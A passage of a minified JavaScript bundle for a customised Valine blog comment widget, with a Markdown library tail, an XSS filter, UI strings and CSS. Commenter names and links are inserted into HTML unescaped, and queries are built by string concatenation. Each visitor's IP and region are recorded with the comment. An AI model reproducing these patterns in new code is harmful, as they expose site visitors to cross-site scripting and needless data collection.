i,sanitize:!1,sanitizer:null,silent:!1,smartLists:!1,smartypants:!1,tables:!0,xhtml:!1}},_.defaults=_.getDefaults(),_.Parser=s,_.parser=s.parse,_.Renderer=i,_.TextRenderer=o,_.Lexer=n,_.lexer=n.lex,_.InlineLexer=r,_.inlineLexer=r.output,_.Slugger=a,_.parse=_,e.exports=_}(this||"undefined"!=typeof window&&window)}).call(t,n(19))},function(e,t,n){(function(t){"use strict";function n(e){var t=new Error(e);return t.name="ValueError",t}function r(e){return function(t){var r=Array.prototype.slice.call(arguments,1),i=0,o="UNDEFINED";return t.replace(/([{}])\1|[{](.*?)(?:!(.+?))?[}]/g,function(t,s,a,u){if(null!=s)return s;var c=a;if(c.length>0){if("IMPLICIT"===o)throw n("cannot switch from implicit to explicit numbering");o="EXPLICIT"}else{if("EXPLICIT"===o)throw n("cannot switch from explicit to implicit numbering");o="IMPLICIT",c=String(i),i+=1}var l=c.split("."),f=(/^\d+$/.test(l[0])?l:["0"].concat(l)).reduce(function(e,t){return e.reduce(function(e,n){return null!=n&&t in Object(n)?["function"==typeof n[t]?n[t]():n[t]]:[]},[])},[r]).reduce(function(e,t){return t},"");if(null==u)return f;if(Object.prototype.hasOwnProperty.call(e,u))return e[u](f);throw n('no transformer named "'+u+'"')})}}var i=r({});i.create=r,i.extend=function(e,n){var i=r(n);e.format=function(){var e=Array.prototype.slice.call(arguments);return e.unshift(this),i.apply(t,e)}},e.exports=i}).call(this,this)},function(e,t,n){var r=n(12);"string"==typeof r&&(r=[[e.i,r,""]]);var i={};i.transform=void 0;n(17)(r,i);r.locals&&(e.exports=r.locals)},function(e,t,n){function r(e,t){return new s(t).process(e)}var i=n(4),o=n(5),s=n(20);t=e.exports=r,t.FilterXSS=s;for(var a in i)t[a]=i[a];for(var a in o)t[a]=o[a];"undefined"!=typeof window&&(window.filterXSS=e.exports),function(){return"undefined"!=typeof self&&"undefined"!=typeof DedicatedWorkerGlobalScope&&self instanceof DedicatedWorkerGlobalScope}()&&(self.filterXSS=e.exports)},function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var i=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();n(9);var o=n(7),s=n(10),a=n(8),u=n(6),c={"zh-cn":{nick:"昵称*",mail:"邮箱*",link:"网站 (可选)",no_comment_yet:"快来做第一个评论的人吧~",submit:"提交",reply:"回复",cancel_reply:"取消回复",comment_count:"已有{}条评论",cancel:"取消",confirm:"确认",continue:"继续",more:"加载更多...",emoji:"表情",error99:"初始化失败,请检查init中的`el`元素.",error100:"初始化失败,请检查你的AppId和AppKey.",error401:"未经授权的操作,请检查你的AppId和AppKey.",error403:"访问被api域名白名单拒绝,请检查你的安全域名设置.",seconds:"秒前",minutes:"分钟前",hours:"小时前",days:"天前",now:"刚刚",input_tips:"您输入的网址或邮箱格式不正确,请修正后提交!"},en:{nick:"Name*",mail:"Mail*",link:"Website(optional)",no_comment_yet:"No comment yet.",submit:"Submit",reply:"Reply",cancel_reply:"Cancel reply",comment_count:"{} comments here",cancel:"Cancel",confirm:"Confirm",continue:"Continue",more:"Load More...",emoji:"Emoji",error99:"Initialization failed, Please check the `el` element in the init method.",error100:"Initialization failed, Please check your appId and appKey.",error401:"Unauthorized operation, Please check your appId and appKey.",error403:"Access denied by api domain white list, Please check your security domain.",seconds:"seconds ago",minutes:"minutes ago",hours:"hours ago",days:"days ago",now:"just now",input_tips:"Please check your mail address and website link and try again."}},l={ip:"",comment:"",rid:"",at:"",nick:"",mail:"",link:"",ua:navigator.userAgent,url:location.pathname,pin:0},f=!1,h=3,d=6,p="",v={}.toString,g=localStorage,m=function(){function e(t){r(this,e);var n=this;n.version="1.0.3",A(),!!t&&n.init(t)}return i(e,[{key:"init",value:function(e){var t=this,n=e.av||u;h=e.max_nest||h,d=e.page_size||d;var r=e.lang||"en";t.i18n=e.i18n||c[r],l.url=e.pathname||location.pathname.replace(/\/$/,""),p=e.admin_qq_email||p;try{var i="[object HTMLDivElement]"===v.call(e.el)?e.el:document.querySelectorAll(e.el)[0];if("[object HTMLDivElement]"!=v.call(i))throw"The target element was not found.";var o="[object HTMLDivElement]"===v.call(e.count_el)?e.count_el:document.querySelectorAll(e.count_el)[0];v.call(o),t.el=i,t.count_el=o,t.el.classList.add("valine");var s=e.placeholder||"",g='<div id="vinputs-placeholder">\n <div class="vinputs-wrap">\n <p class="vcancel-comment-reply" href="#" rel="nofollow" style="display:none">'+t.i18n.cancel_reply+'</p>\n <div class="vinputs-area">\n <div class="textarea-wrapper">\n <div class="comment_trigger">\n <div class="avatar"><img class="visitor_avatar" src="https://gravatar.loli.net/avatar/4212ef0667ec196e14d108a009d27160.jpg?size=80"></div>\n <div class="trigger_title">'+s+'</div>\n </div>\n <div class="veditor-area">\n <textarea placeholder="" class="veditor"></textarea>\n <div class="btn-wrap">\n\t\t\t\t\t\t\t\t\t\t\t <div class="vemoji-btn vfunction-btn" title="'+t.i18n.emoji+'"><svg viewBox="0 0 1024 1024" width="24" height="24"><defs><style type="text/css"></style></defs><path d="M563.2 463.3 677 540c1.7 1.2 3.7 1.8 5.8 1.8.7 0 1.4-.1 2-.2 2.7-.5 5.1-2.1 6.6-4.4l25.3-37.8c1.5-2.3 2.1-5.1 1.6-7.8s-2.1-5.1-4.4-6.6l-73.6-49.1 73.6-49.1c2.3-1.5 3.9-3.9 4.4-6.6.5-2.7 0-5.5-1.6-7.8l-25.3-37.8a10.1 10.1 0 0 0-6.6-4.4c-.7-.1-1.3-.2-2-.2-2.1 0-4.1.6-5.8 1.8l-113.8 76.6c-9.2 6.2-14.7 16.4-14.7 27.5.1 11 5.5 21.3 14.7 27.4zM387 348.8h-45.5c-5.7 0-10.4 4.7-10.4 10.4v153.3c0 5.7 4.7 10.4 10.4 10.4H387c5.7 0 10.4-4.7 10.4-10.4V359.2c0-5.7-4.7-10.4-10.4-10.4zm333.8 241.3-41-20a10.3 10.3 0 0 0-8.1-.5c-2.6.9-4.8 2.9-5.9 5.4-30.1 64.9-93.1 109.1-164.4 115.2-5.7.5-9.9 5.5-9.5 11.2l3.9 45.5c.5 5.3 5 9.5 10.3 9.5h.9c94.8-8 178.5-66.5 218.6-152.7 2.4-5 .3-11.2-4.8-13.6zm186-186.1c-11.9-42-30.5-81.4-55.2-117.1-24.1-34.9-53.5-65.6-87.5-91.2-33.9-25.6-71.5-45.5-111.6-59.2-41.2-14-84.1-21.1-127.8-21.1h-1.2c-75.4 0-148.8 21.4-212.5 61.7-63.7 40.3-114.3 97.6-146.5 165.8-32.2 68.1-44.3 143.6-35.1 218.4 9.3 74.8 39.4 145 87.3 203.3.1.2.3.3.4.5l36.2 38.4c1.1 1.2 2.5 2.1 3.9 2.6 73.3 66.7 168.2 103.5 267.5 103.5 73.3 0 145.2-20.3 207.7-58.7 37.3-22.9 70.3-51.5 98.1-85 27.1-32.7 48.7-69.5 64.2-109.1 15.5-39.7 24.4-81.3 26.6-123.8 2.4-43.6-2.5-87-14.5-129zm-60.5 181.1c-8.3 37-22.8 72-43 104-19.7 31.1-44.3 58.6-73.1 81.7-28.8 23.1-61 41-95.7 53.4-35.6 12.7-72.9 19.1-110.9 19.1-82.6 0-161.7-30.6-222.8-86.2l-34.1-35.8c-23.9-29.3-42.4-62.2-55.1-97.7-12.4-34.7-18.8-71-19.2-107.9-.4-36.9 5.4-73.3 17.1-108.2 12-35.8 30-69.2 53.4-99.1 31.7-40.4 71.1-72 117.2-94.1 44.5-21.3 94-32.6 143.4-32.6 49.3 0 97 10.8 141.8 32 34.3 16.3 65.3 38.1 92 64.8 26.1 26 47.5 56 63.6 89.2 16.2 33.2 26.6 68.5 31 105.1 4.6 37.5 2.7 75.3-5.6 112.3z"></path></svg></div>\n </div>\n </div>\n <div class="vextra-area">\n <div class="vsmile-icons" style="display:none"></div>\n </div>\n </div>\n <section class="auth-section" style="display:none;">\n <div class="input-wrapper"><input type="text" name="author" class="vnick" placeholder="'+t.i18n.nick+'" value=""></div>\n <div class="input-wrapper"><input type="email" name="email" class="vmail" placeholder="'+t.i18n.mail+'" value=""></div>\n <div class="input-wrapper"><input type="text" name="website" class="vlink" placeholder="'+t.i18n.link+'" value=""></div>\n <div class="post-action"><button type="button" class="vsubmit">'+t.i18n.reply+'</button></div>\n </section>\n <div style="display:none;" class="vmark"></div>\n </div>\n <div class="vsubmitting" style="display:none;"></div>\n </div>\n </div>\n <div class="info">\n <div class="col"> '+a(t.i18n.comment_count,'<span class="count">0</span>')+'</div>\n </div>\n <ul class="vlist"><li class="vempty"></li></ul>\n <div class="vloading"></div>\n <div class="vpage txt-center"></div>';t.el.innerHTML=g;var m=t.el.querySelector(".vempty");t.nodata={show:function(e){m.innerHTML=e||t.i18n.no_comment_yet,m.setAttribute("style","display:block;")},hide:function(){m.setAttribute("style","display:none;")}},t.nodata.show();var y=t.el.querySelector(".vsmile-icons"),b=e.emoticon_list||[];for(var w in b){var x=document.createElement("img");x.setAttribute("src",e.emoticon_url+"/"+b[w]),y.appendChild(x)}var A="https://",k="";if(!e.serverURLs)switch(e.app_id.slice(-9)){case"-9Nh9j0Va":A+="tab.";break;case"-MdYXbMMI":A+="us."}k=e.serverURLs||A+"avoscloud.com",f||(n.init({appId:e.app_id||e.appId,appKey:e.app_key||e.appKey,serverURLs:k}),f=!0),t.v=n}catch(e){return void(t.el?t.nodata.show('<pre style="color:red;text-align:left;">'+e+"<br>Valine:<b>"+t.version+"</b><br>feedback:https://arou.cc</pre>"):console&&console.log("%c"+e+"\n%cValine%c"+t.version+" https://arou.cc","color:red;","background:#000;padding:5px;line-height:30px;color:#fff;","background:#456;line-height:30px;padding:5px;color:#fff;"))}var O='<div class="spinner"><div class="r1"></div><div class="r2"></div><div class="r3"></div><div class="r4"></div><div class="r5"></div></div>',S=t.el.querySelector(".vloading");S.innerHTML=O,t.loading={show:function(){S.setAttribute("style","display:block;"),t.nodata.hide()},hide:function(){S.setAttribute("style","display:none;"),0===t.el.querySelectorAll(".vcard").length&&t.nodata.show()}},t.loading.hide();var E=t.el.querySelector(".vsubmitting");E.innerHTML=O,t.submitting={show:function(){E.setAttribute("style","display:block;")},hide:function(){E.setAttribute("style","display:none;"),t.nodata.hide()}};var C=t.el.querySelector(".vmark");t.alert={show:function(e){C.innerHTML='<div class="valert txt-center"><div class="vtext">'+e.text+'</div><div class="vbtns"></div></div>';var n=C.querySelector(".vbtns"),r='<button class="vcancel vbtn">'+(e&&e.ctxt||t.i18n.cancel)+"</button>",i='<button class="vsure vbtn">'+(e&&e.otxt||t.i18n.continue)+"</button>";if(n.innerHTML=""+r+(e.type&&i),C.querySelector(".vcancel").addEventListener("click",function(e){t.alert.hide()}),C.setAttribute("style","display:block;"),e&&e.type){var o=C.querySelector(".vsure");_.on("click",o,function(n){t.alert.hide(),e.cb&&e.cb()})}},hide:function(){C.setAttribute("style","display:none;")}};var T=new t.v.Query("Comment");T.equalTo("url",l.url);var j=new t.v.Query("Comment");j.equalTo("url",l.url+"/");var I=u.Query.or(T,j);I.notEqualTo("isSpam",!0),I.count().then(function(e){t.el.querySelector(".count").innerHTML=e,"[object HTMLSpanElement]"==v.call(t.count_el)&&(t.count_el.innerHTML=e)}).catch(function(e){console.log(e),t.el.querySelector(".count").innerHTML=0}),t.bind(e)}},{key:"bind",value:function(e){var t=this,n=t.el.querySelector(".vsmile-icons");_.on("click",n,function(e){var n=t.el.querySelector(".veditor"),r=e.target.src;if(void 0!==r){var i="[:"+decodeURI(r).replace(/^.*\/(.*)$/,"$1")+"]";if(document.selection)n.focus(),sel=document.selection.createRange(),sel.text=i,n.focus();else if(n.selectionStart||"0"==n.selectionStart){var o=n.selectionStart,s=n.selectionEnd,a=s;n.value=n.value.substring(0,o)+i+n.value.substring(s,n.value.length),a+=i.length,n.focus(),n.selectionStart=a,n.selectionEnd=a}else n.value+=i,n.focus();l.comment=n.value;var u=t.el.querySelector(".vsubmit");u.getAttribute("disabled")&&u.removeAttribute("disabled")}});var r=t.el.querySelector(".comment_trigger");_.on("click",r,function(e){r.setAttribute("style","display:none"),t.el.querySelector(".auth-section").removeAttribute("style"),t.el.querySelector(".veditor").focus()}),_.on("click",t.el.querySelector(".vcancel-comment-reply"),function(e){t.reset()});var i=function(e){e.offsetHeight>180&&(e.classList.add("expand"),_.on("click",e,function(t){e.setAttribute("class","vcomment")}))},a=1,u=0,c=function e(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1;t.loading.show(),t.v.Query.doCloudQuery("select nick, comment, link, rid, mail, cname, isSpam\n from Comment\n where (rid='' or rid is not exists) and (url='"+l.url+"' or url='"+l.url+"/')\n order by -createdAt\n limit "+(n-1)*d+","+d).then(function(r){r=r&&r.results||[];var i=r.length;if(i){for(var o=0;o<i;o++)if(!r[o].get("isSpam")){var s=v(r[o],t.el.querySelector(".vlist"),!1);s.setAttribute("style","margin-bottom: .5em"),f(s)}var c=t.el.querySelector(".vpage");c.innerHTML=d*n<u?'<div id="vmore" class="more">'+t.i18n.more+"</div>":"";var l=c.querySelector("#vmore");l&&_.on("click",l,function(t){c.innerHTML="",e(++a)})}t.loading.hide()}).catch(function(e){console.log(e),t.loading.hide()})};t.v.Query.doCloudQuery("select count(*)\n from Comment\n where (rid='' or rid is not exists) \n and (url='"+l.url+"' or url='"+l.url+"/')\n order by -createdAt").then(function(e){u=e.count,c(1)});var f=function e(n){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,i=n.querySelector(".vcomment-children"),o=i.querySelector(".vlist"),s=n.getAttribute("id");if(r<=0&&i.setAttribute("style","margin-left: 0 !important"),r>=h)return void t.v.Query.doCloudQuery("select count(*)\n from Comment\n where rid='"+s+"' and (url='"+l.url+"' or url='"+l.url+"/')\n order by -createdAt").then(function(r){if(r.count>0){var o=i.querySelector(".vshow-children-wrapper");o.setAttribute("style","display: block !important;"),o.innerHTML='<span class="vshow-children" rid="'+s+'">'+t.i18n.more+"</span>";var a=o.querySelector(".vshow-children");_.on("click",a,function(t){o.setAttribute("style","display: none !important;"),e(n,-1e3)})}},function(e){console.log(e)});t.v.Query.doCloudQuery("select nick, comment, link, rid, mail, cname, isSpam\n from Comment\n where rid='"+s+"' and (url='"+l.url+"' or url='"+l.url+"/')\n order by -createdAt").then(function(t){t=t&&t.results||[];var n=t.length;if(n)for(var i=0;i<n;i++)if(!t[i].get("isSpam")){var s=v(t[i],o,!0);e(s,r+1)}}).catch(function(e){console.log(e),t.loading.hide()})},v=function(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,r=!(arguments.length>2&&void 0!==arguments[2])||arguments[2],o=document.createElement("li");o.setAttribute("class","vcard"),o.setAttribute("id",e.id),/(.+)@(.+)/.test(e.get("mail"));var s="https://gravatar.loli.net/avatar/4212ef0667ec196e14d108a009d27160.jpg?size=80",a=RegExp.$1;"qq.com"==RegExp.$2&&(s="https://q1.qlogo.cn/g?b=qq&nk="+a+"&s=100"),o.innerHTML='<div class="vcomment-body">\n <div class="vhead" >\n <img class="vavatar" src="'+s+"\"/>\n <a rid='"+e.id+"' at='@"+e.get("nick")+'\' class="vat" id="at-'+e.id+'">'+t.i18n.reply+'</a>\n <div class="vmeta-info">\n '+(e.get("link")?'<a class="vname" href="'+e.get("link")+'" target="_blank" rel="nofollow" > '+e.get("nick")+"</a>":'<span class="vname">'+e.get("nick")+"</span>")+"\n "+(a===p?'<span class="vtime"><svg xmlns:xlink="http://www.w3.org/1999/xlink" p-id="1615" xmlns="http://www.w3.org/2000/svg" version="1.1" viewBox="0 0 1024 1024" style="height: .8em;width: .8em;fill: #168cfd;" class="icon" t="1559101574545"><defs><style type="text/css"></style></defs><path d="M582.044306 993.554603l17.113098-99.494753-72.233191-70.442285c-25.072678-24.27672-34.027206-57.109988-24.07773-87.555383 9.949475-30.445394 36.41508-51.538282 70.840264-56.51302l87.356393-12.735328c-3.780801-2.586864-7.163622-5.173727-10.347454-7.95958-10.944423-9.551496-18.705014-19.699961-23.480762-30.047415s-7.561601-21.092888-8.15857-31.440342c-0.596969-10.546444 0-20.893898 1.989895-31.042363 1.392927-8.15857 3.581811-15.123202 6.168675-20.893898 2.586864-5.770696 5.969685-10.546444 10.148465-14.725223 4.17878-3.97979 8.755538-7.95958 14.327244-11.541391 5.571706-3.780801 11.143412-8.15857 17.312087-13.730276 5.372717-4.775748 10.148465-11.342402 14.725223-19.898951 4.17878-8.357559 8.15857-17.113098 11.541391-25.868636 3.382822-9.949475 6.566654-20.694909 9.153517-31.440342 6.765643-1.989895 13.133307-5.571706 19.301982-11.143412 5.372717-4.775748 10.148465-11.342402 14.725223-19.898951 4.17878-8.556549 7.561601-19.699961 9.551496-34.027206 1.392927-10.944423 1.193937-19.898951-0.397979-27.460552-1.591916-7.561601-3.97979-13.531286-6.566654-18.307035-2.586864-5.571706-6.367664-9.750486-11.143412-12.337349 0.596969-27.062573-0.994948-54.324135-5.173727-81.386708-3.183832-23.082783-9.153517-47.558492-17.710066-73.626117s-21.291877-49.946366-38.205985-71.636222c-7.561601-9.551496-17.312087-18.904003-29.649436-28.05752-11.93937-9.153517-26.067625-17.312087-41.588807-24.873688-15.720171-7.561601-32.43529-13.531286-50.344345-18.307035s-37.012048-7.163622-56.51302-7.163622c-15.720171 0-31.838321 1.591916-48.35445 4.17878-16.715119 2.984843-33.032258 7.561601-49.349398 14.327244-16.31714 6.765643-32.43529 16.11815-48.35445 28.05752s-30.246405 27.062573-43.180723 45.369607c-13.531286 19.500972-23.878741 41.588807-31.042363 66.064516-7.163622 24.475709-12.13836 47.558492-14.725223 69.248348-3.581811 25.868636-4.775748 51.737272-4.17878 77.406918-5.571706 6.964633-9.750486 13.929265-12.337349 21.490867-2.785853 6.765643-4.576759 14.725223-5.571706 23.878741-1.193937 9.153517 0 19.699961 3.382822 31.042363 3.581811 11.541391 7.561601 20.29693 12.337349 26.465604 4.775748 6.168675 9.153517 10.944423 13.332297 14.327244 4.775748 3.581811 9.551496 5.770696 14.327244 7.163622 3.382822 10.745433 6.765643 21.291877 10.148465 31.440342 3.382822 8.755538 6.964633 17.312087 11.143412 25.868636 4.17878 8.556549 8.755538 15.123202 14.327244 19.898951 11.740381 9.551496 21.888846 18.705014 31.042363 27.460552 9.153517 8.755538 14.327244 21.291877 15.720171 37.609017 0.596969 10.347454 0.994948 19.898951 0.994948 28.654489 0 8.954528-1.591916 17.312087-4.576759 25.470657-2.984843 8.15857-8.556549 16.31714-16.31714 24.475709-7.760591 8.15857-18.705014 16.715119-33.032258 25.470657-17.511077 11.541391-38.006996 20.29693-61.487757 26.465604-23.480762 6.168675-125.761368 41.389817-147.849203 48.951419-21.888846 7.362612-41.190828 17.511077-57.507967 30.445394-16.11815 12.735328-26.266615 31.838321-30.445394 56.910999C2.387875 881.52351 0.994949 888.488143 4.57676 916.346674c3.581811 27.659541 9.153517 44.17567 16.715119 49.747377 6.168675 4.576759 23.679751 10.148465 52.931209 16.715119 29.251457 6.566654 213.11776 41.190828 426.633501 41.190828 27.858531 0 54.722114-0.596969 80.59075-1.790906C580.253401 1012.856585 580.45239 1003.305088 582.044306 993.554603z" p-id="1616"></path><path d="M1004.300038 748.399532l-106.459386-15.521182c-16.31714-2.387874-35.619122-16.31714-42.981733-31.241353l-47.558492-96.509911c-3.581811-7.362612-8.556549-11.143412-13.332297-11.143412-4.775748 0-9.551496 3.780801-13.332297 11.143412l-47.558492 96.509911c-7.362612 14.725223-26.664594 28.853478-42.981733 31.241353l-106.459386 15.521182c-16.31714 2.387874-20.09794 13.730276-8.15857 25.271667l77.008939 75.019044c11.740381 11.541391 19.102993 34.226195 16.31714 50.543335l-18.108045 106.061407c-1.989895 11.740381 2.586864 18.705014 10.745433 18.705014 3.183832 0 6.765643-0.994948 10.745433-3.183832l95.116984-50.145356c7.362612-3.780801 16.914108-5.770696 26.465604-5.770696 9.551496 0 19.301982 1.989895 26.465604 5.770696l95.116984 50.145356c3.97979 2.188885 7.760591 3.183832 10.745433 3.183832 8.15857 0 12.735328-6.964633 10.745433-18.705014l-18.108045-106.061407c-2.785853-16.31714 4.576759-39.001943 16.31714-50.543335l77.008939-75.019044C1024.198988 762.129808 1020.617177 750.787406 1004.300038 748.399532z" p-id="1617"></path></svg></span>':"")+'\n <span class="vtime">'+w(e.get("createdAt"),t.i18n)+'</span>\n\t\t\t\t\t\t\t\t\t\t\t<span class="ipaddr">'+e.get("cname")+'</span>\n </div>\n </div>\n <section class="text-wrapper" id="comment-'+e.id+'">\n <div class="vcomment">'+e.get("comment")+'</div>\n </section>\n </div>\n <div class="vcomment-children">\n <div class="vshow-children-wrapper" style="display: none"></div>\n <ul class="vlist" id="children-list-'+e.id+'"></ul>\n </div>';for(var u=n||t.el.querySelector(".vlist"),c=u.querySelectorAll("li"),l=o.querySelectorAll("a"),f=0,h=l.length;f<h;f++){var d=l[f];d&&"at"!=d.getAttribute("class")&&(d.setAttribute("target","_blank"),d.setAttribute("rel","nofollow"))}r?u.insertBefore(o,c[0]):u.appendChild(o);var v=o.querySelector(".vcomment");return i(v),j(o),o},m={veditor:"comment",vnick:"nick",vlink:"link",vmail:"mail"},b={};for(var x in m)m.hasOwnProperty(x)&&function(){var e=m[x],n=t.el.querySelector("."+x);b[e]=n,_.on("input",n,function(t){l[e]=n.value})}();var A=function(){var e=g&&g.getItem("ValineCache");if(e){e=JSON.parse(e);var n=["nick","link","mail"];for(var r in n){var i=n[r];t.el.querySelector(".v"+i).value=e[i],l[i]=e[i]}if(""!=e.mail){var o=/(.+)@(.+)/,s=e.mail.toLowerCase().trim();o.test(s);var a=RegExp.$1,u=RegExp.$2,c=t.el.querySelector(".visitor_avatar");"qq.com"==u?c.setAttribute("src","https://q1.qlogo.cn/g?b=qq&nk="+a+"&s=100"):c.setAttribute("src","https://gravatar.loli.net/avatar/4212ef0667ec196e14d108a009d27160.jpg?size=80")}}};A(),t.reset=function(){for(var e in m)if(m.hasOwnProperty(e)){var n=m[e],r=t.el.querySelector("."+e);r.value="",l[n]=""}l.rid="",l.nick="",A(),E.getAttribute("triggered")&&(E.setAttribute("style","display:none;"),E.removeAttribute("triggered")),t.el.querySelector(".vcancel-comment-reply").setAttribute("style","display:none"),t.el.querySelector("#vinputs-placeholder").appendChild(t.el.querySelector(".vinputs-wrap"))};var k=t.el.querySelector(".vsubmit"),O=function(n){if(k.getAttribute("disabled"))return void t.alert.show({type:0,text:'再等等,评论正在提交中ヾ(๑╹◡╹)ノ"',ctxt:"好的"});if(""==l.comment)return void b.comment.focus();if(""==l.nick)return void b.nick.focus();if(l.comment=s(o(l.comment.replace(/\[:(.*?\.\w+)\]/g,'<img src="'+e.emoticon_url+'/$1" alt="$1" class="vemoticon-img">')),{onIgnoreTagAttr:function(e,t,n,r){if("class"===t)return t+'="'+s.escapeAttrValue(n)+'"'}}),l.comment.indexOf(l.at)>-1&&""!=l.at){var r='<a class="at" href=\'#'+l.rid+"'>"+l.at+"</a>";l.comment=l.comment.replace(l.at,r)}var i=y.mail(l.mail),a=y.link(l.link);l.mail=i.k?i.v:"",l.link=a.k?a.v:"",i.k&&a.k?T():t.alert.show({type:0,text:t.i18n.input_tips,ctxt:t.i18n.confirm})},S=t.el.querySelector(".vemoji-btn"),E=t.el.querySelector(".vsmile-icons");_.on("click",S,function(e){E.getAttribute("triggered")?(E.setAttribute("style","display:none;"),E.removeAttribute("triggered")):(E.removeAttribute("style"),E.setAttribute("triggered",1))});var C=function(){var e=new t.v.ACL;return e.setPublicReadAccess(!0),e.setPublicWriteAccess(!1),e},T=function(){k.setAttribute("disabled",!0),t.submitting.show();var e=t.v.Object.extend("Comment"),n=new e;for(var r in l)if(l.hasOwnProperty(r)){if("at"===r)continue;var i=l[r];n.set(r,i)}n.setACL(C()),n.save().then(function(e){g&&g.setItem("ValineCache",JSON.stringify({nick:l.nick,link:l.link,mail:l.mail}));var n=t.el.querySelector(".count");if(n.innerText=Number(n.innerText)+1,""===l.rid)v(e,null,!0);else{var r=t.el.querySelector("#children-list-"+l.rid);v(e,r,!0)}k.removeAttribute("disabled"),t.submitting.hide(),t.nodata.hide(),t.reset()}).catch(function(e){t.submitting.hide()})},j=function(e){var n=e.getAttribute("id"),r=e.querySelector("#at-"+n);_.on("click",r,function(i){var o=r.getAttribute("at"),s=r.getAttribute("rid");l.rid=s,l.at=o,b.comment.value=o+" "+b.comment.value,e.querySelector("#comment-"+n).appendChild(t.el.querySelector(".vinputs-wrap")),t.el.querySelector(".vcancel-comment-reply").removeAttribute("style"),t.el.querySelector(".comment_trigger").setAttribute("style","display:none"),t.el.querySelector(".auth-section").removeAttribute("style"),t.el.querySelector(".veditor").focus(),b.comment.focus()})};_.off("click",k,O),_.on("click",k,O)}}]),e}(),_={on:function(e,t,n,r){t.addEventListener?t.addEventListener(e,n,r||!1):t.attachEvent?t.attachEvent("on"+e,n):t["on"+e]=n},off:function(e,t,n,r){t.removeEventListener?t.removeEventListener(e,n,r||!1):t.detachEvent?t.detachEvent("on"+e,n):t["on"+e]=null}},y={mail:function(e){return{k:/\w[-\w.+]*@([A-Za-z0-9][-A-Za-z0-9]+\.)+[A-Za-z]{2,14}/.test(e),v:e}},link:function(e){return e.length>0&&(e=/^(http|https)/.test(e)?e:"http://"+e),{k:!(e.length>0)||/(http|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&amp;:\/~\+#]*[\w\-\@?^=%&amp;\/~\+#])?/.test(e),v:e}}},b=function(e){var t=x(e.getDate(),2),n=x(e.getMonth()+1,2);return x(e.getFullYear(),2)+"-"+n+"-"+t},w=function(e,t){try{var n=e.getTime(),r=(new Date).getTime(),i=r-n,o=Math.floor(i/864e5);if(0===o){var s=i%864e5,a=Math.floor(s/36e5);if(0===a){var u=s%36e5,c=Math.floor(u/6e4);if(0===c){var l=u%6e4,f=Math.round(l/1e3);return f<35?t.now:f+t.seconds}return c+t.minutes}return a+t.hours}return o<3?o+t.days:b(e)}catch(e){console.log(e)}},x=function(e,t){for(var n=e.toString();n.length<t;)n="0"+n;return n},A=function(){var e=new XMLHttpRequest;e.open("GET","https://api.ip.sb/geoip",!0),e.onload=function(){if(this.status>=200&&this.status<400){var e=JSON.parse(this.response);l.ip=e.ip,l.cname=e.region,"United States"==e.country&&(l.cname="未知")}},e.onerror=function(){k()},e.send(),""==l.ip&&(l.cname="未知")},k=function(){var e=new XMLHttpRequest;e.open("GET","https://api.ipify.org/?format=json",!0),e.onload=function(){if(this.status>=200&&this.status<400){var e=JSON.parse(this.response);l.ip=e.ip,l.cname="未知"}},e.onerror=function(){},e.send()};e.exports=m},function(e,t,n){t=e.exports=n(13)(void 0),t.push([e.i,'.valine {\n /************ Loading ************/ }\n .valine * {\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n font-size: 14px;\n font-weight: normal;\n line-height: 1.42857143;\n color: var(--color);\n -webkit-transition: all .3s ease;\n transition: all .3s ease;\n margin: initial;\n padding: initial; }\n .valine .vemoticon-img {\n display: inline-block;\n max-height: 26px;\n margin: 0 2px; }\n .valine .vsubmitting {\n margin: 1em 0; }\n .valine .vcancel-comment-reply {\n margin: 1.5em 0 .5em;\n cursor: pointer;\n color: var(--color-secondary);\n text-decoration: underline; }\n .valine .vinputs-area {\n overflow: hidden;\n position: relative;\n border: 1px solid var(--border-color); }\n .valine .vinputs-area .veditor-area {\n position: inherit; }\n .valine .vinputs-area .btn-wrap {\n position: absolute !important;\n right: 1.5em;\n bottom: 0; }\n .valine .vinputs-area .btn-wrap .vfunction-btn {\n display: inline-block; }\n .valine .vinputs-area .btn-wrap .vfunction-btn svg {\n fill: #bbb;\n cursor: pointer; }\n .valine .vinputs-area .btn-wrap .vfunction-btn svg:hover {\n fill: #777777; }\n .valine .vinputs-area .btn-wrap .vfunction-btn svg:active {\n fill: #777777; }\n .valine .vinputs-area .vextra-area {\n margin: .4em 0 .4em .5em; }\n .valine .vinputs-area .vextra-area .vsmile-icons {\n padding: .2em 0;\n border-top: 1px solid rgba(150, 150, 150, 0.08);\n border-radius: 0;\n margin: .3em 0;\n max-height: 145px;\n overflow: auto; }\n .valine .vinputs-area .vextra-area .vsmile-icons img {\n display: inline-block;\n width: auto !important;\n height: 28px !important;\n margin-right: 4px;\n cursor: pointer; }\n .valine .vinputs-area .vextra-area .vsmile-icons img:hover {\n background: var(--border-color); }\n .valine .vinputs-area .vextra-area .vpreview-text {\n border-top: 1px solid rgba(150, 150, 150, 0.08);\n border-radius: 0;\n padding: .5em .5em;\n margin: .3em 0;\n max-height: 10em;\n overflow: auto; }\n .valine .vinputs-area .textarea-wrapper {\n color: var(--color-secondary);\n width: 100%;\n height: 100%;\n background: var(--background);\n position: relative;\n border-radius: 0; }\n .valine .vinputs-area .textarea-wrapper .comment_trigger {\n position: absolute;\n z-index: 10;\n width: 100%;\n height: 100%;\n background-color: var(--background);\n padding: 0 0 0 1.5em; }\n .valine .vinputs-area .textarea-wrapper .comment_trigger .avatar {\n position: absolute;\n width: 36px;\n height: 36px;\n position: absolute;\n top: 50%;\n -webkit-transform: translateY(-50%);\n transform: translateY(-50%); }\n .valine .vinputs-area .textarea-wrapper .comment_trigger .avatar img {\n border-radius: 100%;\n width: 36px;\n height: 36px; }\n .valine .vinputs-area .textarea-wrapper .comment_trigger .trigger_title {\n position: absolute;\n top: 50%;\n -webkit-transform: translateY(-50%);\n transform: translateY(-50%);\n color: var(--color-secondary);\n font-size: 1.4em;\n margin-left: 3.5em; }\n .valine .vinputs-area .textarea-wrapper textarea 